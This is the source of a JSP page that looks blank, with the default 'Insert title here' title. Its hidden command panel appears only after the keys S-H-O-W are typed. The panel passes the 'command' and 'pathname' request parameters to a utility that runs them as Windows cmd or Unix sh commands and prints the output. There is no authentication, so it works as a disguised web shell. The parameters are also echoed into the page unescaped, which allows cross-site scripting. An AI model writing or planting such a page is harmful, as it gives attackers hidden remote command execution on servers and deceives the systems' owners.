<%@page import="com.tistory.wonsama.util.WCommandUtil"%>
<%@ page language="java" contentType="text/html; charset=EUC-KR"
    pageEncoding="EUC-KR"%>
<%

String _command = request.getParameter("command");
String command = _command==null?"":_command.trim();
String _pathname = request.getParameter("pathname");
String pathname = _pathname==null?"":_pathname.trim(); 
String _isWindows = request.getParameter("isWindows");
String isWindows = _isWindows==null?"true":_isWindows;
String _vis = request.getParameter("vis");
String vis = _vis==null?"false":_vis;

%>    
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=EUC-KR">
<title>Insert title here</title>
<script type="text/javascript">

var KEY_SHOW = 0;
var KEY_ENTER = 13;
document.onkeyup=KeyCheck;function KeyCheck(){var code = event.keyCode;if(KEY_SHOW==0){if(code==83)KEY_SHOW++;else KEY_SHOW=0;}else if(KEY_SHOW==1){if(code==72)KEY_SHOW++;else KEY_SHOW=0;}else if(KEY_SHOW==2){if(code==79)KEY_SHOW++;else KEY_SHOW=0;}else if(KEY_SHOW==3){if(code==87)KEY_SHOW++;else KEY_SHOW=0;}if(KEY_SHOW==4){document.getElementById("pass").style.visibility="visible";document.getElementById("vis").value="true";KEY_SHOW=-1;}}

function submit(){
	var myform = document.getElementById("myform");
	myform.submit();
}

function enter(e){
	if(e.keyCode == KEY_ENTER)
	{
		submit();
	}
} 

function loadComplete()
{
	var command = document.getElementById("command");
	var vis = document.getElementById("vis");
	if(vis.value=="true"){
		document.getElementById("pass").style.visibility="visible";
	}
	doSetCaretPosition( command , command.value.length );
}

function doSetCaretPosition (oField, iCaretPos) 
{
	if (document.selection) { 
		oField.focus ();
		var oSel = document.selection.createRange ();
		oSel.moveStart ('character', -oField.value.length);
		oSel.moveStart ('character', iCaretPos);
		oSel.moveEnd ('character', 0);
		oSel.select ();
	}else if (oField.selectionStart || oField.selectionStart == '0') {
		oField.selectionStart = iCaretPos;
		oField.selectionEnd = iCaretPos;
		oField.focus ();
	}
}

</script>
</head>
<body onload="loadComplete()">

<form id="myform" name="myform" method="post">

    <div id="pass" style="visibility: hidden;">
    <table><tr>
        <td>
            DIR        
        </td>
        <td>
            <input id="pathname" name="pathname" type="text" value="<%=pathname %>" style="width: 100px">
        </td>
        <td>
            CMD        
        </td>
        <td>
            <input id="command" name="command" type="text" value="<%=command %>" style="width: 400px" onkeypress="enter(event)">
        </td>
        <td>
            MODE        
        </td>
        <td>
            <select id="isWindows" name="isWindows">
              <option label="WINDOW" value="true" <%if(isWindows.equals("true"))out.print("selected=\"selected\""); %>/>
              <option label="UNIX" value="false" <%if(isWindows.equals("false"))out.print("selected=\"selected\""); %>/>
            </select>
        </td>
        <td>
            <button onclick="submit()">SEND</button>
        </td>
    </tr></table>

    <%
       String ta_header = "<br/><textarea style=\"width: 800px;height: 500px\">";
       String ta_body = "";
       String ta_tail = "</textarea>";
       
       if(!command.equals("")){
           pathname = pathname.equals("")?null:pathname;
           ta_body = WCommandUtil.commander(command, pathname, Boolean.parseBoolean(isWindows)?WCommandUtil.MODE_WIN_CMD:WCommandUtil.MODE_LINUX_SH );
       }
       
       out.print( ta_header + ta_body + ta_tail);
    %>
    </div>

	<input id="vis" name="vis" type="hidden" value="<%=vis %>">
	    
</form>
 

</body>
</html>